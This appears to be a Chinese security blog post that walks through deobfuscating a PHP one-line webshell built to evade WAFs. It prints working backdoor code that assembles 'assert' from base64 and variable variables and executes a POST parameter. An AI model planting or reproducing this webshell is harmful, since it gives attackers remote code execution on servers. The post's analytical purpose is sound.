对另一种变形一句话进行分析 作者: admin 时间: 2019-08-21 分类: 随便写写 对另一种变形一句话进行分析 # 前言 在 t00ls 上看到了有人发了一个一句话 webshell,看着变形挺厉害的,其实也就是弟弟。 ![](https://s3-ap-northeast-1.amazonaws.com/bobylive-notes-asia/uploads/upload_b12055cbfb4926c8033adaac03356f6c.png) ```php=1 ``` ## 分析过程 先格式化代码看看什么骚写法。 ![](https://s3-ap-northeast-1.amazonaws.com/bobylive-notes-asia/uploads/upload_165783f35abcbc1c2e3790ab05bdf92d.png) 看着好像好复杂的样子。也是分成两个部分。 第一部分 ```php=1 ${"GLOBALS"}["lhslawk"] = "c"; $kvbemdpsn = "c"; ${"GLOBALS"}["hxawgmmplwo"] = "bkf"; ${"GLOBALS"}["ptxuvtuijm"] = "vbl"; ${"GLOBALS"}["goolrz"] = "bkf"; ``` 第二部分 ```php=1 ${${"GLOBALS"}["ptxuvtuijm"]} = str_replace("ti", "", "tistittirti_rtietipltiatice");//str_replace ${${"GLOBALS"}["hxawgmmplwo"]} = ${${"GLOBALS"}["ptxuvtuijm"]}("k", "", "kbakske6k4k_kdkekckokdke"); ${${"GLOBALS"}["lhslawk"]} = ${${"GLOBALS"}["goolrz"]}("YXNzZXI=") . @$_GET["n"] . "t"; @${$kvbemdpsn}($_POST["59f1f"]); echo "abcabcabc\n"; ``` 我们先来分析第一部分,都是对一些变量进行赋值。这个看不懂的可以去翻翻php的写法兼容。 接着第二部分: 第一行是一个字符串的替换然后赋值给```${${"GLOBALS"}["ptxuvtuijm"]}```,值为```str_replace```,对应第一部分的第四行代码。即```${vbl} = str_replace```。 第二行是将```${${"GLOBALS"}["ptxuvtuijm"]}("k", "", "kbakske6k4k_kdkekckokdke");``` 赋给```${${"GLOBALS"}["hxawgmmplwo"]}```,由上面可以推出```${${"GLOBALS"}["ptxuvtuijm"]} = ${vbl}``` 而 ```${vbl} = str_replace```,所以根据 PHP 可变变量的特性,```${${"GLOBALS"}["hxawgmmplwo"]}```的值是 base64_decode,对应着第一部分的第三行代码,即 ```${bkf} = base64_decode```。 第三行代码是将```${${"GLOBALS"}["goolrz"]}("asser") . @$_GET["n"] . "t";``` 的值赋给```${${"GLOBALS"}["lhslawk"]}```,而```${"GLOBALS"}["goolrz"] = "bkf"``` ,所以```${${"GLOBALS"}["goolrz"]} = ${bkf} = base64_decode```。``` ${${"GLOBALS"}["lhslawk"]}``` 的结果为 ``` "asser". @$_GET["n"] . "t"```,即 ```${c} = "asser". @$_GET["n"] . "t" ```。 第四行代码,根据可变变量的特性,```${$kvbemdpsn} = ${c} = "asser". @$_GET["n"] . "t"```。 最终整个代码简化版本为(@$_GET["n"]是个幌子) ```php=1 ``` 怎么用就不多说了,看图吧。 ![](https://s3-ap-northeast-1.amazonaws.com/bobylive-notes-asia/uploads/upload_dedbb008459f8ae2f2facd2bcb42604b.png) ## 总结 整篇文章显得废话特多,文采也不好,可能难以看懂,多多见谅。此类木马都是已混淆的写法进行绕过 WAF,亮点并没有多少。 ## 参考和感谢 [PHP可变变量](http://yansu.org/2012/09/27/php-variable-variables.html) [PHP官方文档](https://www.php.net/manual/zh/language.variables.variable.php) 标签: webshell